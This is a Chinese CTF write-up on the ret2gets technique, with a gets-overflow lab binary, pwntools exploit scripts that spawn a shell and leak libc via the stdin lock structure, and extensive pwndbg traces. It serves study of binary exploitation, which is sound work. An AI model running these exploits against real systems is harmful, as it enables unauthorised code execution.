前言

今天刚好看到litctf2025的一道pwn题,是一种我没有见过的方法,后面查了一下是叫做ret2gets,然后就浅浅的学了学。ret2gets适用于没有pop_rdi这一类控制rdi时使用的方法

源码

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <stdlib.h>
int main() {
puts("ret2gets&ret2system");
char buffer[0x20];
gets(buffer);
return 0;
}
void backdoor() {
system("echo hi");
}
//执行gcc -o ret2system ret2system.c -fno-stack-protector -z execstack -no-pie -fno-pic生成文件

ret2system

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(arch='amd64',os='linux')
r= process("./1")
system=0x401070
gets=0x401080
r.recvuntil(b'ret2gets&ret2system\n')
payload1=b'a'*(0x28)+p64(gets)+p64(system)
r.sendline(payload1)
gdb.attach(r)
payload2=b'/bin'+p8(u8(b"/")+1)+b'sh'
r.sendline(payload2)
r.interactive()

然后gdb调试可以发现在第二个gets函数读入数据时rdi会发生变化,其会指向_IO_stdfile_0_lock+1,至于为什么有个+1后面再说

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
pwndbg> n
55 in ./libio/iogets.c
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────
*RAX 7
RBX 0x7e9b3781ca80 (_IO_stdfile_0_lock) ◂— 0x6873306e69622f /* '/bin0sh' */
*RCX 0x7e9b3781aaa0 (_IO_2_1_stdin_) ◂— 0xfbad2088
*RDX 6
*RDI 0x7e9b3781ca81 (_IO_stdfile_0_lock+1) ◂— 0x40006873306e6962 /* 'bin0sh' */
*RSI 0x306e6962
R8 0
R9 0
R10 0x77
R11 0x346
R12 0x7e9b3781b870 (stdin) —▸ 0x7e9b3781aaa0 (_IO_2_1_stdin_) ◂— 0xfbad2088
R13 0
R14 0x403e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401140 (__do_global_dtors_aux) ◂— endbr64
R15 0x7e9b378eb040 (_rtld_global) —▸ 0x7e9b378ec2e0 ◂— 0
RBP 0x7e9b3781aaa0 (_IO_2_1_stdin_) ◂— 0xfbad2088
RSP 0x7ffd5be63088 —▸ 0x40119d (main+39) ◂— mov eax, 0
*RIP 0x7e9b3768064e (gets+302) ◂— mov edx, dword ptr [rcx]
─────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────
0x7e9b3768063b <gets+283> mov byte ptr [rbx], al [_IO_stdfile_0_lock] <= 0x2f
0x7e9b3768063d <gets+285> mov rdi, qword ptr [r12] RDI, [stdin] => 0x7e9b3781aaa0 (_IO_2_1_stdin_) ◂— 0xfbad2088
0x7e9b37680641 <gets+289> call _IO_getline <_IO_getline>

0x7e9b37680646 <gets+294> mov rcx, qword ptr [r12]
0x7e9b3768064a <gets+298> add rax, 1
0x7e9b3768064e <gets+302> mov edx, dword ptr [rcx] EDX, [_IO_2_1_stdin_] => 0xfbad2088
0x7e9b37680650 <gets+304> test dl, 0x20 0x88 & 0x20 EFLAGS => 0x246 [ cf PF af ZF sf IF df of ac ]
0x7e9b37680653 <gets+307> ✘ jne gets+120 <gets+120>

0x7e9b37680659 <gets+313> or edx, r13d EDX => 0xfbad2088 (0xfbad2088 | 0x0)
0x7e9b3768065c <gets+316> mov dword ptr [rcx], edx [_IO_2_1_stdin_] <= 0xfbad2088
0x7e9b3768065e <gets+318> lea rdx, [rbx + rax] RDX => 0x7e9b3781ca87 (_IO_stdfile_0_lock+7) ◂— 0x7e9b3789774000
───────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
00:0000│ rsp 0x7ffd5be63088 —▸ 0x40119d (main+39) ◂— mov eax, 0
01:0008│ 0x7ffd5be63090 ◂— 'aaaaaaaaaaaaaaaa'
02:0010│ 0x7ffd5be63098 ◂— 'aaaaaaaa'
03:0018│ 0x7ffd5be630a0 ◂— 0
04:0020│ 0x7ffd5be630a8 ◂— 0x6161616161616161 ('aaaaaaaa')
05:0028│ 0x7ffd5be630b0 —▸ 0x7ffd5be631c8 —▸ 0x7ffd5be64373 ◂— 0x4c45485300312f2e /* './1' */
06:0030│ 0x7ffd5be630b8 —▸ 0x401176 (main) ◂— endbr64
07:0038│ 0x7ffd5be630c0 —▸ 0x401070 (system@plt) ◂— endbr64
─────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────
0 0x7e9b3768064e gets+302
1 0x401070 system@plt
2 0x401100 register_tm_clones
3 0x15be631b0 None
4 0x7ffd5be631c8 None
5 0x0 None
───────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/20x 0x7e9b3781ca81
0x7e9b3781ca81 <_IO_stdfile_0_lock+1>: 0x306e6962 0x40006873 0x9b378977 0x0000007e
0x7e9b3781ca91 <__libc_multiple_threads+1>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7e9b3781caa1 <__attr_list_lock+1>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7e9b3781cab1 <init_sigcancel.0+1>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7e9b3781cac1 <__nptl_threads_events+1>: 0x00000000 0x00000000 0x00000000 0x00000000
pwndbg> x/20x 0x79bef301ca80
0x79bef301ca80 <_IO_stdfile_0_lock>: 0x6e69622f 0x00687330 0xf318d740 0x000079be
0x79bef301ca90 <__libc_multiple_threads>: 0x00000000 0x00000000 0x00000000 0x00000000
0x79bef301caa0 <__attr_list_lock>: 0x00000000 0x00000000 0x00000000 0x00000000
0x79bef301cab0 <init_sigcancel.0>: 0x00000000 0x00000000 0x00000000 0x00000000
0x79bef301cac0 <__nptl_threads_events>: 0x00000000 0x00000000 0x00000000 0x00000000
pwndbg>

分析:

1
2
3
4
5
6
7
8
0x306e6962	0x40006873程序是64位所以实际位置是
0x7e9b3781ca80: 0x2F '/' (/bin/sh 里的 /)
0x7e9b3781ca81: 0x62 'b' (你实际指向的位置,偏移+1
0x7e9b3781ca82: 0x69 'i'
0x7e9b3781ca83: 0x6e 'n'
0x7e9b3781ca84: 0x30 '0' (本该是 0x2F '/',被覆盖)
0x7e9b3781ca85: 0x73 's'
0x7e9b3781ca86: 0x68 'h'

然后我们继续跟踪发现当执行完gets函数时rdi会-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
pwndbg> n
0x0000000000401070 in system@plt ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────
RAX 0x7e9b3781ca80 (_IO_stdfile_0_lock) ◂— 0x68732f6e69622f /* '/bin/sh' */
*RBX 0
RCX 0x7e9b3781aaa0 (_IO_2_1_stdin_) ◂— 0xfbad2088
*RDX 0x68732f
*RDI 0x7e9b3781ca80 (_IO_stdfile_0_lock) ◂— 0x68732f6e69622f /* '/bin/sh' */
*RSI 0x687330
R8 0
R9 0
R10 0x77
R11 0x346
*R12 0x7ffd5be631c8 —▸ 0x7ffd5be64373 ◂— 0x4c45485300312f2e /* './1' */
*R13 0x401176 (main) ◂— endbr64
R14 0x403e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401140 (__do_global_dtors_aux) ◂— endbr64
R15 0x7e9b378eb040 (_rtld_global) —▸ 0x7e9b378ec2e0 ◂— 0
*RBP 0x6161616161616161 ('aaaaaaaa')
*RSP 0x7ffd5be630c8 —▸ 0x401100 (register_tm_clones) ◂— mov esi, completed
*RIP 0x401070 (system@plt) ◂— endbr64
─────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────
0x401070 <system@plt> endbr64
0x401074 <system@plt+4> bnd jmp qword ptr [rip + 0x2fa5] <0x401040>

0x401040 endbr64
0x401044 push 1
0x401049 bnd jmp 0x401020 <0x401020>

0x401020 push qword ptr [rip + 0x2fe2]
0x401026 bnd jmp qword ptr [rip + 0x2fe3] <_dl_runtime_resolve_xsavec>

0x7e9b378c6d30 <_dl_runtime_resolve_xsavec> endbr64
0x7e9b378c6d34 <_dl_runtime_resolve_xsavec+4> push rbx
0x7e9b378c6d35 <_dl_runtime_resolve_xsavec+5> mov rbx, rsp RBX => 0x7ffd5be630b0 ◂— 0
0x7e9b378c6d38 <_dl_runtime_resolve_xsavec+8> and rsp, 0xffffffffffffffc0 RSP => 0x7ffd5be63080 (0x7ffd5be630b0 & -0x40)
───────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
00:0000│ rsp 0x7ffd5be630c8 —▸ 0x401100 (register_tm_clones) ◂— mov esi, completed
01:0008│ 0x7ffd5be630d0 ◂— 0x15be631b0
02:0010│ 0x7ffd5be630d8 —▸ 0x7ffd5be631c8 —▸ 0x7ffd5be64373 ◂— 0x4c45485300312f2e /* './1' */
03:0018│ 0x7ffd5be630e0 ◂— 0
04:0020│ 0x7ffd5be630e8 ◂— 0x2d664280d403be28
05:0028│ 0x7ffd5be630f0 —▸ 0x7ffd5be631c8 —▸ 0x7ffd5be64373 ◂— 0x4c45485300312f2e /* './1' */
06:0030│ 0x7ffd5be630f8 —▸ 0x401176 (main) ◂— endbr64
07:0038│ 0x7ffd5be63100 —▸ 0x403e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401140 (__do_global_dtors_aux) ◂— endbr64
─────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────
0 0x401070 system@plt
1 0x401100 register_tm_clones
2 0x15be631b0 None
3 0x7ffd5be631c8 None
4 0x0 None
───────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/20x 0x7e9b3781ca80
0x7e9b3781ca80 <_IO_stdfile_0_lock>: 0x6e69622f 0x0068732f 0x37897740 0x00007e9b
0x7e9b3781ca90 <__libc_multiple_threads>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7e9b3781caa0 <__attr_list_lock>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7e9b3781cab0 <init_sigcancel.0>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7e9b3781cac0 <__nptl_threads_events>: 0x00000000 0x00000000 0x00000000 0x00000000
pwndbg>

对比一下:

可以发现其前后会将_IO_stdfile_0_lock+5的位置加减1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> x/20x 0x79bef301ca80
0x79bef301ca80 <_IO_stdfile_0_lock>: 0x6e69622f 0x00687330 0xf318d740 0x000079be
0x79bef301ca90 <__libc_multiple_threads>: 0x00000000 0x00000000 0x00000000 0x00000000
0x79bef301caa0 <__attr_list_lock>: 0x00000000 0x00000000 0x00000000 0x00000000
0x79bef301cab0 <init_sigcancel.0>: 0x00000000 0x00000000 0x00000000 0x00000000
0x79bef301cac0 <__nptl_threads_events>: 0x00000000 0x00000000 0x00000000 0x00000000
pwndbg>
pwndbg> x/20x 0x7e9b3781ca80
0x7e9b3781ca80 <_IO_stdfile_0_lock>: 0x6e69622f 0x0068732f 0x37897740 0x00007e9b
0x7e9b3781ca90 <__libc_multiple_threads>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7e9b3781caa0 <__attr_list_lock>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7e9b3781cab0 <init_sigcancel.0>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7e9b3781cac0 <__nptl_threads_events>: 0x00000000 0x00000000 0x00000000 0x00000000
pwndbg>

为什么呢

这里贴个gets的源码,可以发现gets函数执行时有个获取锁和释放锁的过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
char *
_IO_gets (char *buf)
{
size_t count;
int ch;
char *retval;

_IO_acquire_lock (stdin); //获取锁
ch = _IO_getc_unlocked (stdin);
if (ch == EOF)
{
retval = NULL;
goto unlock_return;
}
if (ch == '\n')
count = 0;
else
{
int old_error = stdin->_flags & _IO_ERR_SEEN;
stdin->_flags &= ~_IO_ERR_SEEN;
buf[0] = (char) ch;
count = _IO_getline (stdin, buf + 1, INT_MAX, '\n', 0) + 1;
if (stdin->_flags & _IO_ERR_SEEN)
{
retval = NULL;
goto unlock_return;
}
else
stdin->_flags |= old_error;
}
buf[count] = 0;
retval = buf;
unlock_return:
_IO_release_lock (stdin); //释放锁
return retval;
}

为此,FILE结构体有一个_lock字段,它是指向_IO_lock_t的指针

1
2
3
4
5
typedef struct {
int lock; //占4个字节
int cnt; //往后四个字节,这个东西就是当gets函数执行时会+1,结束时会-1,位置就是+5的地方,那这里是不是也有可能会发生整数溢出呢~~
void *owner; //这个owner很多时候会储存着TSL结构体地址,这个地址与libc偏移是固定的,但是当当前线程完全解锁时会被清空
} _IO_lock_t;

ret2libc

这一个关键是如何把libc地址泄露出来

如果有printf函数那么直接输入以下代码来泄露栈上地址就好了

1
payload=b"%19$"+p8(u8(b"p")+1)

但是如果是puts函数,又要怎么办呢

首先puts函数泄露libc有版本区别,分为2.30-2.36;2,37+

2.30-2.36

我上面说过*owner这个东西,那我们是不是只要想办法泄露他的TLS地址就好了

但是,gets函数有个特点:遇到\n截停并将\n换为\0,这样子导致puts函数遇到\0无法输出其后面的内容

但是,我们前面说那个cnt会进行+1/-1,那我是不是只要让\n位置出现在+5处,然后利用-1将其改为0xfffffffff,那是不是就可以正常输出*owner,那不就成功绕过了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context(arch='amd64',os='linux')
r= process("./1")
puts=0x401060
gets=0x401080
main=0x401176
r.recvuntil(b'ret2gets&ret2system\n')

payload1=b'a'*(0x28)+p64(gets)+p64(gets)+p64(puts)+p64(0x0401060)
r.sendline(payload1)
gdb.attach(r)
payload2=p32(0)+b'A'*4+b'B'*8
r.sendline(payload2)

payload3=b'BBBB'
r.sendline(payload3)
r.recv(8)
leak=u64(r.recv(6).ljust(8,b'\x00'))
libc_base=leak-0x3ba740
info('libc_base:'+hex(libc_base))
r.interactive()

gdb调试一下发现泄露的地址是0x754c0af2b740vmmap看一下libc地址是0x754c0ac00000,得到偏移0x32b740

1
2
3
4
5
6
7
pwndbg> x/8a 0x754c0ae1ca80
0x754c0ae1ca80 <_IO_stdfile_0_lock>: 0xffffffff41414141 0x754c0af2b740
0x754c0ae1ca90 <__libc_multiple_threads>: 0x0 0x0
0x754c0ae1caa0 <__attr_list_lock>: 0x0 0x0
0x754c0ae1cab0 <init_sigcancel.0>: 0x0 0x0
pwndbg>

然后接下来就是正常打libc就不说了,但是会发现每次运行得到的便宜不一样,这是由于现在的glibc保护机制,但是在特定的题目环境下是可以实现的

2.37+

先看源码_IO_lock_lock和_IO_lock_unlock的改变

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#define _IO_lock_lock(_name) 
do {
void *__self = THREAD_SELF;
if (SINGLE_THREAD_P && (_name).owner == NULL) //SINGLE_THREAD_P判断是否是单线程
{ //但是重点是owner是不是null
(_name).lock = LLL_LOCK_INITIALIZER_LOCKED;
(_name).owner = __self;
}
else if ((_name).owner != __self) //我们的攻击执行的是这个if为真的内容
{
lll_lock ((_name).lock, LLL_PRIVATE);
(_name).owner = __self; //让owner拥有TLS地址
}
else
++(_name).cnt;
} while (0)

#define _IO_lock_unlock(_name)
do {
if (SINGLE_THREAD_P && (_name).cnt == 0) //最特殊的点,当cnt==0时,不会再-1负数溢出了
{ //其他的都无所谓
(_name).owner = NULL;
(_name).lock = 0;
}
else if ((_name).cnt == 0)
{
(_name).owner = NULL;
lll_unlock ((_name).lock, LLL_PRIVATE);
}
else
--(_name).cnt; //我们会让cnt!=0,所以会走这里
} while (0)

这里可以发现通过两个gets函数可以将其绕过

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context(arch='amd64',os='linux')
io= process("./1")
gdb.attach(r)
puts=0x401030
gets=0x401050
r.recvuntil(b'ret2gets&ret2system\n')

payload1=b'a'*(0x28)+p64(gets)+p64(gets)+p64(puts)+p64(0x0401060)
r.sendline(payload1)

payload2=p32(0)+b'A'*4+b'B'*8
r.sendline(payload2)

payload3=b'BBBB'
r.sendline(payload3)
r.recv(8)
leak=u64(r.recv(6).ljust(8,b'\x00'))
libc_base=leak-0x3de740
info('libc_base:'+hex(libc_base))
r.interactive()

先跳到第二次执行gets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
pwndbg> n
55 in ./libio/iogets.c
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────
*RAX 0x10
RBX 0x78eb9401ca80 (_IO_stdfile_0_lock) ◂— 0x4141414100000000
*RCX 0x78eb9401aaa0 (_IO_2_1_stdin_) ◂— 0xfbad2088
*RDX 0xf
*RDI 0x78eb9401ca81 (_IO_stdfile_0_lock+1) ◂— 0x4241414141000000
*RSI 0x4241414141000000
R8 0
R9 0
R10 0x77
R11 0x346
R12 0x78eb9401b870 (stdin) —▸ 0x78eb9401aaa0 (_IO_2_1_stdin_) ◂— 0xfbad2088
R13 0
R14 0x403e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401140 (__do_global_dtors_aux) ◂— endbr64
R15 0x78eb94232040 (_rtld_global) —▸ 0x78eb942332e0 ◂— 0
RBP 0x78eb9401aaa0 (_IO_2_1_stdin_) ◂— 0xfbad2088
RSP 0x7fffadd5f838 —▸ 0x40119d (main+39) ◂— mov eax, 0
*RIP 0x78eb93e8064e (gets+302) ◂— mov edx, dword ptr [rcx]
─────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────
0x78eb93e8063b <gets+283> mov byte ptr [rbx], al [_IO_stdfile_0_lock] <= 0
0x78eb93e8063d <gets+285> mov rdi, qword ptr [r12] RDI, [stdin] => 0x78eb9401aaa0 (_IO_2_1_stdin_) ◂— 0xfbad2088
0x78eb93e80641 <gets+289> call _IO_getline <_IO_getline>

0x78eb93e80646 <gets+294> mov rcx, qword ptr [r12]
0x78eb93e8064a <gets+298> add rax, 1
0x78eb93e8064e <gets+302> mov edx, dword ptr [rcx] EDX, [_IO_2_1_stdin_] => 0xfbad2088
0x78eb93e80650 <gets+304> test dl, 0x20 0x88 & 0x20 EFLAGS => 0x246 [ cf PF af ZF sf IF df of ac ]
0x78eb93e80653 <gets+307> ✘ jne gets+120 <gets+120>

0x78eb93e80659 <gets+313> or edx, r13d EDX => 0xfbad2088 (0xfbad2088 | 0x0)
0x78eb93e8065c <gets+316> mov dword ptr [rcx], edx [_IO_2_1_stdin_] <= 0xfbad2088
0x78eb93e8065e <gets+318> lea rdx, [rbx + rax] RDX => 0x78eb9401ca90 (__libc_multiple_threads) ◂— 0
───────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
00:0000│ rsp 0x7fffadd5f838 —▸ 0x40119d (main+39) ◂— mov eax, 0
01:0008│ 0x7fffadd5f840 ◂— 'aaaaaaaaaaaaaaaa'
02:0010│ 0x7fffadd5f848 ◂— 'aaaaaaaa'
03:0018│ 0x7fffadd5f850 ◂— 0
04:0020│ 0x7fffadd5f858 ◂— 0x6161616161616161 ('aaaaaaaa')
05:0028│ 0x7fffadd5f860 —▸ 0x7fffadd5f978 —▸ 0x7fffadd60373 ◂— 0x4c45485300312f2e /* './1' */
06:0030│ 0x7fffadd5f868 —▸ 0x401176 (main) ◂— endbr64
07:0038│ 0x7fffadd5f870 —▸ 0x401080 (gets@plt) ◂— endbr64
─────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────
0 0x78eb93e8064e gets+302
1 0x401080 gets@plt
2 0x401060 puts@plt
3 0x401060 puts@plt
4 0x7fffadd5f900 None
5 0x0 None
───────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/8a 0x78eb9401ca80
0x78eb9401ca80 <_IO_stdfile_0_lock>: 0x4141414100000000 0x4242424242424242
0x78eb9401ca90 <__libc_multiple_threads>: 0x0 0x0
0x78eb9401caa0 <__attr_list_lock>: 0x0 0x0
0x78eb9401cab0 <init_sigcancel.0>: 0x0 0x0
pwndbg>

然后执行到改gets函数结束的地方,cnt-1

1
2
3
4
5
6
7
pwndbg> x/8a 0x78eb9401ca80
0x78eb9401ca80 <_IO_stdfile_0_lock>: 0x4141414000000000 0x4242424242424242
0x78eb9401ca90 <__libc_multiple_threads>: 0x0 0x0
0x78eb9401caa0 <__attr_list_lock>: 0x0 0x0
0x78eb9401cab0 <init_sigcancel.0>: 0x0 0x0
pwndbg>

然后是第三次gets,会执行下面句子,就是判断*owner是否为空,不为空会给*owner赋予TSL地址,由于前面lock为0,这里会将其置为1

1
2
lll_lock ((_name).lock, LLL_PRIVATE);			
(_name).owner = __self;

然后继续跟踪gdb,因为lock高位是0,所以为了让他能够输出TLS,我们这里将lock用B覆盖,我这里没追踪到是什么时候将\x41改为\n,但是问题不大

1
2
3
4
5
6
7
pwndbg> x/8a 0x78eb9401ca80
0x78eb9401ca80 <_IO_stdfile_0_lock>: 0x4141414142424242 0x78eb941de740
0x78eb9401ca90 <__libc_multiple_threads>: 0x0 0x0
0x78eb9401caa0 <__attr_list_lock>: 0x0 0x0
0x78eb9401cab0 <init_sigcancel.0>: 0x0 0x0
pwndbg>

继续跟踪,gets函数结束后会将0x41替换为”\n”然后再替换为”\0”再-1

1
2
3
4
5
6
7
pwndbg> x/8a 0x78eb9401ca80
0x78eb9401ca80 <_IO_stdfile_0_lock>: 0x414140ff42424242 0x78eb941de740
0x78eb9401ca90 <__libc_multiple_threads>: 0x0 0x0
0x78eb9401caa0 <__attr_list_lock>: 0x0 0x0
0x78eb9401cab0 <init_sigcancel.0>: 0x0 0x0
pwndbg>

1
padding=0x78eb941de740-0x78eb93e00000

致谢

https://blog.csdn.net/2502_91269216/article/details/148261096